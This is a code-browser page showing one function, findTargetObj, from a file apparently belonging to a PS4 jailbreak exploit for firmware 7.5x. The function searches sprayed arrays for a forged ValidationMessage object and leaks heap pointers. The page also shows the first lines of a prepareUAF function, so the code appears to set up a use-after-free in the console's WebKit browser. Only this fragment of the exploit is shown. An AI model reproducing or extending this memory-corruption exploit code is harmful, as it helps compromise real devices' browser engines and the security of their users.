MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / findTargetObj

Function findTargetObj

restore/75x/ps4.js:366–384  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

364}
365
366function findTargetObj() {
367 for (let i = 0; i < g_arr_ab_1.length; i++) {
368 if (!Int64.fromDouble(g_arr_ab_1[i][2]).equals(Int64.Zero)) {
369 debug_log("[+] Found fake ValidationMessage");
370
371 if (g_round === 2) {
372 g_timer_leak = Int64.fromDouble(g_arr_ab_1[i][2]);
373 g_message_heading_leak = Int64.fromDouble(g_arr_ab_1[i][4]);
374 g_message_body_leak = Int64.fromDouble(g_arr_ab_1[i][5]);
375 g_round++;
376 }
377
378 g_fake_validation_message = g_arr_ab_1[i];
379 g_arr_ab_1 = [];
380 return true;
381 }
382 }
383 return false;
384}
385
386function prepareUAF() {
387 g_input.setCustomValidity("ps4");

Callers 2

confuseTargetObjRound2Function · 0.70
confuseTargetObjRound1Function · 0.70

Calls 1

debug_logFunction · 0.70

Tested by

no test coverage detected